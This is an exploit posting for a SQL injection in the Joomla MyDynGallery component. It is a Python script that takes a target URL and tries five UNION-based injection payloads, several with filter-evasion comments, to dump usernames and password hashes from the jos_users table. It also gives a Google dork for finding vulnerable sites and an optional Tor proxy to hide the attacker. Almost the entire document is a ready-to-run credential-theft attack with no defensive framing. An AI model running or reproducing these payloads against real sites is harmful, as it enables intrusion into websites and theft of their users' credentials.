Joomla MyDynGallery SQL Injection
Posted on 15 December 2015
# Joomla! com_mydyngallery Automatic SQL Injection exploit (multiple ways) # Author: D35m0nd142 # Google Dork: inurl:"index.php?option=com_mydyngallery" # Date: 12/12/2015 # Vulns found by R3d.W0rm & H3ll-dz # Software link: https://www.joomla.org # Tested on: all Joomla! versions containing component mydyngallery # Output will show clear username and MD5:Salt password #!/usr/bin/python import sys import time import socks import socket import requests success = False notvalid = [' ','<','>','{','}','[',']','(',')',';','"',' ',' ',' ','&',''','\','/','?','=',','] target = "" i = 0 def chk_success(): global i if(success): print "[+] Exploit succedeed!" sys.exit(0) i += 1 def exploit(path,query): global i global success global target try: url = "%s%s" %(target,path) print " [*] Running #%i-way exploit (query="%s", path='%s') " %(i,query,path) r = requests.get(url, headers=headers, timeout=20) if(r.status_code == 200 and r.url == url): url = "%s%s%s" %(target,path,query) r = requests.get(url, headers=headers, timeout=20) if("::::" in r.text): s = r.text for x in range(0,len(s)-4): if(s[x] == ':' and s[x+1] == ':' and s[x+2] == ':' and s[x+3] == ':'): if(success is False): success = True user = "" passwd = "" k = x-1 while(k >= 0 and s[k] not in notvalid): user += s[k] k -= 1 user = user[::-1] k = x+4 while(k < len(s) and s[k] not in notvalid): passwd += s[k] k += 1 x = k if(len(user) > 0 or len(passwd) > 0): print "-------------------------------------------------------------------------------------" print "[+] Username: %s" %user print "[+] Password: %s" %passwd print "------------------------------------------------------------------------------------- " except: print "[-] %i-way exploit not applicable." %i # Uncomment if you want to run the exploit through TOR #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9150) #socket.socket = socks.socksocket print " /*================================================================*\" print "| Joomla! com_mydyngallery Automatic SQLi exploit (Multiple ways) |" print "| Author: D35m0nd142 |" print "*================================================================*/ " target = raw_input("Enter the target (ex: 'http://site/joomla_path/') -> ") if("http" not in target): target = "http://%s" %target if(target[-1:] == '/'): target = target[:-1] headers = {'User-Agent':'Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16'} i = 1 path = ["/index.php?option=com_mydyngallery&Itemid=&task=liste&directory=1","/index.php?option=com_mydyngallery&directory=1"] queries = ["' union select 1,2,3,group_concat(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 from jos_users`", "' /*!00000union*/ select 1,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 /*!from*/ jos_users`", "'%20/*!00000union*/%20select%201,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%20jos_users`", "'%20/*!00000union*/%23MadMan%0aselect%201,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%23MadMan%0ajos_users`", "'+union+select+0,1,2,concat(0x3C703E,username,0x3a,0x3a,0x3a,0x3a,password,0x3C2F703E),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+jos_users/*"] for query in queries: if(i < 5): exploit(path[0],query) else: exploit(path[1],query) chk_success() print "[-] Exploit not succedeed."